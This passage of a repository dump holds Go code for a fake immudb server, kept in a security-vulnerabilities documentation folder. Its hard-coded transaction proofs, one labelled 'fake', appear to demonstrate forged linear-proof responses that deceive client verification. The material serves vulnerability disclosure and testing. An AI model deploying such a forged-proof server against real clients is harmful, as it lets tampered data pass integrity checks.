*dbWrapper) Set(req *schema.SetRequest) (*schema.TxHeader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) Get(req *schema.KeyRequest) (*schema.Entry, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) {\n\treturn nil, db.unsupported()\n}\nfunc (db *dbWrapper) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) Scan(req *schema.ScanRequest) (*schema.Entries, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) History(req *schema.HistoryRequest) (*schema.Entries, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) ExecAll(operations *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) Count(prefix *schema.KeyPrefix) (*schema.EntryCount, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) CountAll() (*schema.EntryCount, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) NewSQLTx(ctx context.Context) (*sql.SQLTx, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\treturn nil, nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\treturn nil, nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) InferParameters(sql string, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) InferParametersPrepared(stmt sql.SQLStmt, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) WaitForTx(txID uint64, cancellation <-chan struct{}) error {\n\treturn db.unsupported()\n}\n\nfunc (db *dbWrapper) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error {\n\treturn db.unsupported()\n}\n\nfunc (db *dbWrapper) TxByID(req *schema.TxRequest) (*schema.Tx, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) ExportTxByID(req *schema.ExportTxRequest) ([]byte, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) {\n\tif req.Tx == 2 && req.ProveSinceTx == 2 {\n\t\treturn verifiableTxById_2_2, nil\n\t}\n\n\tif req.Tx == 3 && req.ProveSinceTx == 2 {\n\t\treturn verifiableTxById_3_2, nil\n\t}\n\n\tif req.Tx == 5 && req.ProveSinceTx == 3 {\n\t\treturn verifiableTxById_5_3, nil\n\t}\n\n\tif req.Tx == 2 && req.ProveSinceTx == 5 {\n\t\treturn verifiableTxById_5_2_fake, nil\n\t}\n\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) {\n\treturn nil, db.unsupported()\n}\n\nfunc (db *dbWrapper) FlushIndex(req *schema.FlushIndexRequest) error {\n\treturn db.unsupported()\n}\n\nfunc (db *dbWrapper) CompactIndex() error {\n\treturn db.unsupported()\n}\n\nfunc GetFakeServer(dir string, port int) (server.ImmuServerIf, error) {\n\n\t// init master server\n\topts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(port).\n\t\tWithDir(dir)\n\n\tsrv := server.\n\t\tDefaultServer().\n\t\tWithOptions(opts).\n\t\tWithDbList(&customDbList{\n\t\t\tdbList: database.NewDatabaseList(),\n\t\t})\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn srv, nil\n}\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/state_values.go",
    "content": "package main\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nvar (\n\tstateQueryResult = &schema.ImmutableState{\n\t\tDb:   \"defaultdb\",\n\t\tTxId: 2,\n\t\tTxHash: []byte{\n\t\t\t0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF,\n\t\t\t0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95,\n\t\t},\n\t}\n\n\tverifiableTxById_2_2 = &schema.VerifiableTx{\n\t\tTx: &schema.Tx{\n\t\t\tHeader: &schema.TxHeader{\n\t\t\t\tId: 2,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5,\n\t\t\t\t\t0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tEntries: []*schema.TxEntry{\n\t\t\t\t{\n\t\t\t\t\tKey: []byte{\n\t\t\t\t\t\t0x00, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x2D, 0x6B, 0x65, 0x79, 0x2D, 0x30,\n\t\t\t\t\t},\n\t\t\t\t\tHValue: []byte{\n\t\t\t\t\t\t0x94, 0x1E, 0xB6, 0x5D, 0xD1, 0x72, 0xC2, 0x95, 0xFF, 0x50, 0x83, 0xCD, 0x69, 0xE7, 0x6B, 0x00,\n\t\t\t\t\t\t0x1D, 0x50, 0x67, 0x18, 0x71, 0x0F, 0x51, 0xFA, 0x83, 0x26, 0xE6, 0xDC, 0x23, 0x6B, 0x7F, 0xF6,\n\t\t\t\t\t},\n\t\t\t\t\tVLen: 14,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tDualProof: &schema.DualProof{\n\t\t\tSourceTxHeader: &schema.TxHeader{\n\t\t\t\tId: 2,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5,\n\t\t\t\t\t0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTargetTxHeader: &schema.TxHeader{\n\t\t\t\tId: 2,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5,\n\t\t\t\t\t0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tInclusionProof:   [][]byte{},\n\t\t\tConsistencyProof: [][]byte{},\n\t\t\tTargetBlTxAlh: []byte{\n\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t},\n\t\t\tLastInclusionProof: [][]byte{},\n\t\t\tLinearProof: &schema.LinearProof{\n\t\t\t\tSourceTxId: 2,\n\t\t\t\tTargetTxId: 2,\n\t\t\t\tTerms: [][]byte{\n\t\t\t\t\t{\n\t\t\t\t\t\t0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF,\n\t\t\t\t\t\t0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tverifiableTxById_3_2 = &schema.VerifiableTx{\n\t\tTx: &schema.Tx{\n\t\t\tHeader: &schema.TxHeader{\n\t\t\t\tId: 3,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF,\n\t\t\t\t\t0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81,\n\t\t\t\t\t0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tEntries: []*schema.TxEntry{\n\t\t\t\t{\n\t\t\t\t\tKey: []byte{\n\t\t\t\t\t\t0x00, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x2D, 0x6B, 0x65, 0x79, 0x2D, 0x31,\n\t\t\t\t\t},\n\t\t\t\t\tHValue: []byte{\n\t\t\t\t\t\t0x96, 0xC7, 0xA5, 0x2E, 0x71, 0x77, 0x5F, 0x04, 0x7B, 0x28, 0x47, 0x78, 0x33, 0xF3, 0x96, 0x88,\n\t\t\t\t\t\t0x8C, 0xE6, 0xEC, 0x8E, 0xA6, 0x25, 0xC8, 0x6E, 0x96, 0x25, 0xFE, 0xF8, 0x54, 0xEA, 0x20, 0xC6,\n\t\t\t\t\t},\n\t\t\t\t\tVLen: 14,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tDualProof: &schema.DualProof{\n\t\t\tSourceTxHeader: &schema.TxHeader{\n\t\t\t\tId: 2,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5,\n\t\t\t\t\t0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTargetTxHeader: &schema.TxHeader{\n\t\t\t\tId: 3,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF,\n\t\t\t\t\t0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81,\n\t\t\t\t\t0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tInclusionProof:   [][]byte{},\n\t\t\tConsistencyProof: [][]byte{},\n\t\t\tTargetBlTxAlh: []byte{\n\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t},\n\t\t\tLastInclusionProof: [][]byte{},\n\t\t\tLinearProof: &schema.LinearProof{\n\t\t\t\tSourceTxId: 2,\n\t\t\t\tTargetTxId: 3,\n\t\t\t\tTerms: [][]byte{\n\t\t\t\t\t{\n\t\t\t\t\t\t0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF,\n\t\t\t\t\t\t0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95,\n\t\t\t\t\t},\n\n\t\t\t\t\t{\n\t\t\t\t\t\t0xFD, 0xAA, 0x47, 0xAF, 0x1F, 0xBE, 0x2E, 0x0E, 0x57, 0x08, 0xE7, 0x29, 0x00, 0x82, 0x94, 0x3F,\n\t\t\t\t\t\t0x22, 0xB8, 0x9F, 0x97, 0x9A, 0x48, 0xE1, 0x90, 0xC2, 0x37, 0x75, 0xD2, 0xB4, 0xF0, 0xCD, 0x90,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tverifiableTxById_5_3 = &schema.VerifiableTx{\n\t\tTx: &schema.Tx{\n\t\t\tHeader: &schema.TxHeader{\n\t\t\t\tId: 5,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC,\n\t\t\t\t\t0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA,\n\t\t\t\t},\n\t\t\t\tBlTxId: 4,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26,\n\t\t\t\t\t0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C,\n\t\t\t\t},\n\t\t\t},\n\t\t\tEntries: []*schema.TxEntry{\n\t\t\t\t{\n\t\t\t\t\tKey: []byte{\n\t\t\t\t\t\t0x00, 0x6B, 0x65, 0x79, 0x2D, 0x61, 0x66, 0x74, 0x65, 0x72, 0x2D, 0x31,\n\t\t\t\t\t},\n\t\t\t\t\tHValue: []byte{\n\t\t\t\t\t\t0x67, 0x5C, 0xD3, 0xBC, 0x14, 0x05, 0xA2, 0xA5, 0x07, 0xE0, 0x03, 0xB1, 0xFA, 0xCC, 0x4D, 0xA4,\n\t\t\t\t\t\t0x73, 0xE1, 0x95, 0x6C, 0x45, 0xD7, 0xC0, 0x6F, 0xBC, 0x01, 0xE3, 0xA8, 0xD9, 0x1F, 0x25, 0x6C,\n\t\t\t\t\t},\n\t\t\t\t\tVLen: 14,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tDualProof: &schema.DualProof{\n\t\t\tSourceTxHeader: &schema.TxHeader{\n\t\t\t\tId: 3,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF,\n\t\t\t\t\t0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81,\n\t\t\t\t\t0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTargetTxHeader: &schema.TxHeader{\n\t\t\t\tId: 5,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC,\n\t\t\t\t\t0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA,\n\t\t\t\t},\n\t\t\t\tBlTxId: 4,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26,\n\t\t\t\t\t0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C,\n\t\t\t\t},\n\t\t\t},\n\t\t\tInclusionProof: [][]byte{\n\t\t\t\t{\n\t\t\t\t\t0xD4, 0xA4, 0x6E, 0x1D, 0x3F, 0x6C, 0xF5, 0xED, 0xFE, 0x7F, 0x4F, 0x8E, 0x68, 0x34, 0x54, 0x4F,\n\t\t\t\t\t0xED, 0x83, 0x56, 0x40, 0x88, 0x10, 0x29, 0x0E, 0xC4, 0xA3, 0x8C, 0xE0, 0xA6, 0xC8, 0x44, 0x33,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12,\n\t\t\t\t\t0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E,\n\t\t\t\t},\n\t\t\t},\n\t\t\tConsistencyProof: [][]byte{\n\t\t\t\t{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0xEB, 0xA0, 0xC2, 0x62, 0xC4, 0x5F, 0x64, 0xB5, 0x54, 0x29, 0x33, 0x54, 0x37, 0x33, 0x7D, 0x79,\n\t\t\t\t\t0x33, 0x43, 0x42, 0xE2, 0xCF, 0x71, 0x87, 0x6E, 0x93, 0x0B, 0x4B, 0x19, 0x90, 0xA5, 0x56, 0x8B,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53,\n\t\t\t\t\t0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 